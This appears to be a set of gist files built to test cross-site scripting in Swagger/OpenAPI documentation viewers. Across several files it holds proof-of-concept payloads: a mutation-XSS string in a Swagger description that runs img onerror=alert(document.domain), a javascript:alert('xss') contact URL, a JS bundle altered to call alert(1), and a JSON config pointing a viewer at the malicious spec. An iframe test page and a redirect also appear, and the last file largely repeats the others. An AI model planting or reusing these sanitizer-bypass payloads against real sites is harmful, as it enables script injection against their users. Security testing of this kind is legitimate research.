mikmiemd

## 1.html
<html>
  <body>
    <iframe src="https://gz.admtyumen.ru/calendar_h.htm"></iframe>
  </body>
</html>
<a href="https://gz.admtyumen.ru/calendar_h.htm" target="_blank">Новое окно</a>
<script>
  var month=123;
  //window.open('https://gz.admtyumen.ru/calendar_h.htm','_self');
</script>

## test.html
<meta http-equiv="refresh" content="0;URL=https://mail.ru">

## 2.js
!function(t,n){"object"==typeof exports&&"object"==typeof module?module.exports=n():"function"==typeof define&&define.amd?define([],n):"object"==typeof exports?exports.editorSDK=n():t.editorSDK=n()}(self,function(){return function(t){var n={};function e(r){if(n[r])return n[r].exports;var u=n[r]={i:r,l:!1,exports:{}};return t[r].call(u.exports,u,u.exports,e),u.l=!0,u.exports}return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return alert(1);if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var u in t)e.d(r,u,function(n){return t[n]}.bind(null,u));return r},e.n=function(t){var n=t&&t.__esModule?function(){return alert(1)}:function

## test.json
{
    "url": "https://gist.githubusercontent.com/mikmiemd/2067327922239706041ff6ff8a224b75/raw/a4b19b349d89abb332cb02a198bcf772c2a3eebb/test.yaml",
    "urls": [{
        "url": "https://gist.githubusercontent.com/mikmiemd/2067327922239706041ff6ff8a224b75/raw/a4b19b349d89abb332cb02a198bcf772c2a3eebb/test.yaml",
        "name": "Foo"
    }]
}

## test.yaml
swagger: '2.0'
info:
  title: Classic API Resource Documentation
  description: |
    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>"></form>

  version: production
basePath: /JSSResource/
produces:
  - application/xml

## gist:887e5a298d22be882ec7907b37676aeb
  {
  "swagger": "2.0",
  "info": {
    "version": "1.0.0",
    "title": "Swagger Petstore",
    "contact":{
    "name": "API Support",
    "url": "javascript:alert('xss')"
    }
  },

## 1.js
alert(document.domain)
	<html>
	<body>
	<iframe src="https://gz.admtyumen.ru/calendar_h.htm"></iframe>
	</body>
	</html>
	<a href="https://gz.admtyumen.ru/calendar_h.htm" target="_blank">Новое окно</a>
	<script>
	var month=123;
	//window.open('https://gz.admtyumen.ru/calendar_h.htm','_self');
	</script>
	{
	"url": "https://gist.githubusercontent.com/mikmiemd/2067327922239706041ff6ff8a224b75/raw/a4b19b349d89abb332cb02a198bcf772c2a3eebb/test.yaml",
	"urls": [{
	"url": "https://gist.githubusercontent.com/mikmiemd/2067327922239706041ff6ff8a224b75/raw/a4b19b349d89abb332cb02a198bcf772c2a3eebb/test.yaml",
	"name": "Foo"
	}]
	}
	swagger: '2.0'
	info:
	title: Classic API Resource Documentation
	description: \|
	<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>"></form>

	version: production
	basePath: /JSSResource/
	produces:
	- application/xml
	{
	"swagger": "2.0",
	"info": {
	"version": "1.0.0",
	"title": "Swagger Petstore",
	"contact":{
	"name": "API Support",
	"url": "javascript:alert('xss')"
	}
	},